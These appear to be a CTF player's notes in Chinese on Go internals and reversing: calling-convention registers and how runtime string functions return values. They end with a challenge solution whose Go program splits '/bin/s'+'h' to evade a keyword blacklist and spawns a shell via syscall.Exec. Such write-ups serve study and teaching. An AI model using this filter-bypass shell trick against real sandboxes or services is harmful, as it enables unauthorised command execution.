参考博客1
- string,slice,多个返回值

- 内置数据类型

- len与cap

- stringtoslicebyte

- memmove

- go的函数调用约定是这样的,传参用到的寄存器依次是:AX,BX,CX,DI,SI,R8,R9,R10,R11。但是要注意,如果是系统调用,还是rdi,rsi,rdx
- 有关
go逆向分析的一篇文章
- 很多时候调用一些函数,比如runtime_slicebytetostring,返回值rax应该就是一个指向字符串的指针,rbx就是这个指针的长度
题目描述

- 题目的重点就是要会用go语言写一个脚本执行system函数拿到shell,题目禁用了直接调用exec函数和orw,那么可以考虑用syscall执行exec
- 注意有一些字符串被禁止
blacklist = [‘sh’,‘flag’,‘fmt’,‘io’,’log’,‘server’,‘cat’,‘read’,‘Read’,‘os’,’exec’,‘Print’]
package main
import("syscall")
func main(){
x:="/bin/s"+"h"
y:=[]string{"/bin/s" + "h"}
syscall.Exec(x,y,nil)
}
- exec函数的参数还是那样,参考others文件中的execve